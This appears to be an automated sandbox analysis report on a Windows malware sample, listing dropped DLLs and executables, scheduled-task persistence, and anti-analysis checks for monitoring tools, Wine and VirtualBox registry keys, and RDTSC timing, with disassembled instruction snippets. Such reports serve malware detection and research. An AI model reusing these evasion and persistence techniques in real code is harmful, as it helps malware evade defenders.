Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\rh[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJDGCGHCGHC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDGCGHCGHC.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDGCGHCGHC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Window searched: window name: RegmonClass

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: skotes.exe, 00000020.00000002.3438975021.00000000012EA000.00000004.00000020.00020000.00000000.sdmp, rh[1].exe.32.dr, rh.exe.32.dr	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: skotes.exe, 00000020.00000002.3438975021.00000000012EA000.00000004.00000020.00020000.00000000.sdmp, rh[1].exe.32.dr, rh.exe.32.dr	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1F42 second address: CD1F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3EDCBDB9A6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F3EDCBDB9B4h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007F3EDCBDB9B7h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD238E second address: CD2393 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2393 second address: CD23D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3EDCBDB9A6h 0x0000000a pop edi 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3EDCBDB9B7h 0x00000018 pushad 0x00000019 jmp 00007F3EDCBDB9B0h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD23D0 second address: CD23D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD23D7 second address: CD23F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDCBDB9B3h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD23F0 second address: CD2413 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9257h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F3EDD0B924Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2588 second address: CD258E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD258E second address: CD25AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3EDD0B9259h 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4285 second address: CD428B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD428B second address: CD4291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4291 second address: CD42B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3EDCBDB9B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD42FC second address: CD4302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4302 second address: CD4306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4306 second address: CD4348 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push edi 0x00000010 jmp 00007F3EDD0B924Fh 0x00000015 pop ecx 0x00000016 push 00000000h 0x00000018 jmp 00007F3EDD0B9251h 0x0000001d push 35E7C4EBh 0x00000022 jl 00007F3EDD0B9258h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4348 second address: CD434C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD434C second address: CD439D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 35E7C46Bh 0x00000011 call 00007F3EDD0B924Ah 0x00000016 mov esi, 3D3ED031h 0x0000001b pop esi 0x0000001c push 00000003h 0x0000001e xor dword ptr [ebp+122D2554h], edx 0x00000024 push 00000000h 0x00000026 sbb ecx, 2D4EBA80h 0x0000002c push 00000003h 0x0000002e mov esi, 26C4AC83h 0x00000033 push CC46F191h 0x00000038 pushad 0x00000039 pushad 0x0000003a jnp 00007F3EDD0B9246h 0x00000040 pushad 0x00000041 popad 0x00000042 popad 0x00000043 pushad 0x00000044 jne 00007F3EDD0B9246h 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4492 second address: CD4522 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3EDCBDB9BBh 0x00000008 jmp 00007F3EDCBDB9B5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xor dword ptr [esp], 532716EFh 0x00000016 call 00007F3EDCBDB9B3h 0x0000001b jnp 00007F3EDCBDB9A8h 0x00000021 pop ecx 0x00000022 push 00000003h 0x00000024 mov esi, dword ptr [ebp+122D2A77h] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F3EDCBDB9A8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 push 00000003h 0x00000048 mov edi, edx 0x0000004a call 00007F3EDCBDB9A9h 0x0000004f push esi 0x00000050 jns 00007F3EDCBDB9A8h 0x00000056 pop esi 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b jo 00007F3EDCBDB9A6h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4522 second address: CD4526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4526 second address: CD4544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3EDCBDB9B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4544 second address: CD456D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jmp 00007F3EDD0B9256h 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD456D second address: CD45B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push edi 0x0000001c jmp 00007F3EDCBDB9AFh 0x00000021 pop edi 0x00000022 pop eax 0x00000023 add ch, 00000000h 0x00000026 lea ebx, dword ptr [ebp+12458047h] 0x0000002c or esi, 51F4DA0Bh 0x00000032 xchg eax, ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 push ebx 0x00000036 push eax 0x00000037 pop eax 0x00000038 pop ebx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF605B second address: CF607F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F3EDD0B9250h 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3EDD0B924Ch 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB408 second address: CCB417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F3EDCBDB9A6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF40C0 second address: CF40CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F3EDD0B9246h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF420C second address: CF4210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF44D9 second address: CF44DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF44DF second address: CF44FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDCBDB9B4h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF44FC second address: CF4516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F3EDD0B924Eh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4516 second address: CF4522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3EDCBDB9A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4522 second address: CF4527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4B18 second address: CF4B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4B1E second address: CF4B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4F4A second address: CF4F54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4F54 second address: CF4F5F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F3EDD0B9246h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC991F second address: CC9942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F3EDCBDB9A6h 0x0000000c jl 00007F3EDCBDB9A6h 0x00000012 jno 00007F3EDCBDB9A6h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F3EDCBDB9A6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9942 second address: CC9946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9946 second address: CC994A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC994A second address: CC9950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5BC8 second address: CF5BDC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3EDCBDB9A6h 0x00000008 jo 00007F3EDCBDB9A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8B93 second address: CF8B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8B98 second address: CF8B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8B9E second address: CF8BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB849 second address: CFB84F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFA60D second address: CFA634 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3EDD0B9258h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7F80 second address: CC7F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EDCBDB9B4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFAD9 second address: CFFAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F3EDD0B9246h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFDEA second address: CFFDF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFFF4F second address: CFFF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00244 second address: D00258 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3EDCBDB9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jno 00007F3EDCBDB9A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00258 second address: D0025E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0025E second address: D00264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00264 second address: D00269 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D038CB second address: D038D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D038D6 second address: D038DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
